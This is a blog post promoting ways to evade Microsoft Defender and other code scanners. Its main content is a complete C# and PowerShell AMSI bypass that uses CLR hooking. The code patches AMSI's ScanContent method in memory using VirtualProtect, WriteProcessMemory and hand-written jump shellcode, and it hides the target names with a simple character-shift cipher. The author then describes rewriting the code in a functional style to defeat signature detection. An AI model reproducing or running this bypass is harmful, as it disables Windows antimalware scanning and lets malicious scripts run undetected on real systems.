Home

Published

- 5 min read

Use Functional Style Coding to Evade Defender and other Code Scanners

img of Use Functional Style Coding to Evade Defender and other Code Scanners

About one year ago we proposed the use of alternative coding styles to evade code scanners. Seems we have to prove that it works - cause nobody believed us.

CLR Hooking

is a known technique to evade AMSI - we don’t want to go into the details, it’s not too difficult, if you’re a bit into the topic.

In the code below, especially this block is a hard pain in the ass - with traditional methods of renaming vars and reordering code you can no longer fool Defender.

C#
   public static void Patch() {
    MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static);
    MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static);
    Methods.Patch(original, replacement);
}

Original Exploit

Original CLR Hooking technique - we use it only as example to show, that Functional Style Coding can help with evasion. The following code is unmodified and will be detected by Defender.

For better readability we divided the c# part from the PowerShell part, so we get proper syntax highlighting. Yet, Part 1 belongs into Part 2

Part 1

C#
   // Part 1
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

namespace Editor {
    public static class Methods {
        public static void Patch() {
            MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static);
            MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static);
            Methods.Patch(original, replacement);
        }

        [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
        private static int Dummy(string content, string metadata) {
            return 1;
        }

        public static void Patch(MethodInfo original, MethodInfo replacement) {
            //JIT compile methods
            RuntimeHelpers.PrepareMethod(original.MethodHandle);
            RuntimeHelpers.PrepareMethod(replacement.MethodHandle);

            //Get pointers to the functions
            IntPtr originalSite = original.MethodHandle.GetFunctionPointer();
            IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();

            //Generate architecture specific shellcode
            byte[] patch = null;
            if (IntPtr.Size == 8) {
                patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
                byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
                for (int i = 0; i < address.Length; i++) {
                    patch[i + 2] = address[i];
                }
            } else {
                patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
                byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
                for (int i = 0; i < address.Length; i++) {
                    patch[i + 1] = address[i];
                }
            }

            //Temporarily change permissions to RWE
            uint oldprotect;
            if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {
                throw new Win32Exception();
            }

            //Apply the patch
            IntPtr written = IntPtr.Zero;
            if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) {
                throw new Win32Exception();
            }

            //Flush insutruction cache to make sure our new code executes
            if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) {
                throw new Win32Exception();
            }

            //Restore the original memory protection settings
            if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {
                throw new Win32Exception();
            }
        }

        private static string Transform(string input) {
            StringBuilder builder = new StringBuilder(input.Length + 1);    
            foreach(char c in input) {
                char m = (char)((int)c - 1);
                builder.Append(m);
            }
            return builder.ToString();
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr GetCurrentProcess();

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

        private static readonly string CLASS = Methods.Transform("Tztufn/Nbobhfnfou/Bvupnbujpo/BntjVujmt");
        private static readonly string METHOD = Methods.Transform("TdboDpoufou");
    }
}

Part 2

powershell
   # Part 2

$code = @"
... insert c# code from above ...
"@

Add-Type $code
[Editor.Methods]::Patch()

Functional Rewrite

Functional style coding is often associated with it’s ages old form and languages like Haskel - but modern functional coding has not much to do with that, except for some base concepts. Today this style of coding is used in Progressive WebApps, JavaScript heavy sites and Node.JS.

It uses Callbacks, Anonymous Functions and a few more concepts. Of course, you can do Functional Coding in c# and PowerShell.

Functional Evasion

To keep it responsible we don’t publish the entire rewritten evasion. Yet we tried to provide our readers with enough information to follow on this path by their own efforts.

The Patch() method is not the only thing you need to rewrite, to evade detection! But the rest of the code can easily be rewritten with traditional methods. We only show a few more snippets - now you should get it working:

PoC

PoC

Demo

PoC

We can demonstrate these and other techniques per request in a live-session.

Conclusion

Could rewriting in “traditional” coding style have provided similar results? For sure, however:

  • Traditional rewrites have been overused heavily and thus many ways are already known to EDR
  • Functional Coding provides an extra layer of shooting in the back through the eye into the foot - even for humans it’s sometimes hard to tell what the code does. But, modern scanners have caught up and some do “know” functional style coding. Defender isn’t one of them
  • If you know functional coding, rewriting exploits in that style makes sense from other perspectives as well, code reusability for example. If you know what you’re doing, you don’t have to do mental gymnastics to get the exploit working again, it rather feels like doing a code cleanup, doing your homework

Now take this Cyberjoker and have a great day.

Joker

CC-BY - 2024 - Βгîске∂

CC-BY means it’s free from Copyright - The Creative Commons Attributions License enables you to do what you want with the image - if it’s commercial or displayed on a website, please add my name or link to my blog.